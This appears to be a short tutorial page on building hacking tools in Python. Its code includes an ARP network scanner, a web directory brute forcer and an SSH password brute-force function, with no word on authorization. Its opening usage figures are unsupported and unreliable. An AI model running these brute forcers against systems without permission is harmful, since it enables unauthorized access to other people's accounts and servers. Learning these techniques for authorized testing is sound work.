Hacking with Python — Build Your Own Tools from Scratch

Python — The Hacker's Language

Python is used by 90% of security professionals. Every major hacking tool (Metasploit, SQLMap, Sherlock) has Python integrations.

Why Python for Hacking?

• 📦 Huge library ecosystem (requests, scapy, socket, paramiko)
• ⚡ Rapid prototyping — write tools in minutes
• 🔧 Cross-platform — runs everywhere
• 📖 Easy to learn, powerful when mastered

Build: Network Scanner

from scapy.all import *
def scan(ip):
    arp = ARP(pdst=ip)
    ether = Ether(dst="ff:ff:ff:ff:ff:ff")
    packet = ether/arp
    result = srp(packet, timeout=3, verbose=0)[0]
    clients = []
    for sent, received in result:
        clients.append({'ip': received.psrc, 'mac': received.hwsrc})
    return clients

for client in scan("192.168.1.0/24"):
    print(f"{client['ip']} → {client['mac']}")

Build: Web Directory Brute Forcer

import requests
target = "http://target.com"
with open("wordlist.txt") as f:
    for word in f:
        url = f"{target}/{word.strip()}"
        r = requests.get(url)
        if r.status_code != 404:
            print(f"[{r.status_code}] {url}")

Build: SSH Brute Forcer

import paramiko
def ssh_brute(host, user, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh.connect(host, username=user, password=password, timeout=3)
        print(f"[+] FOUND: {user}:{password}")
        return True
    except: return False

Essential Python Libraries for Hacking

• scapy — Packet manipulation
• requests — HTTP requests
• paramiko — SSH connections
• socket — Low-level networking
• pwntools — Exploit development
• beautifulsoup4 — Web scraping
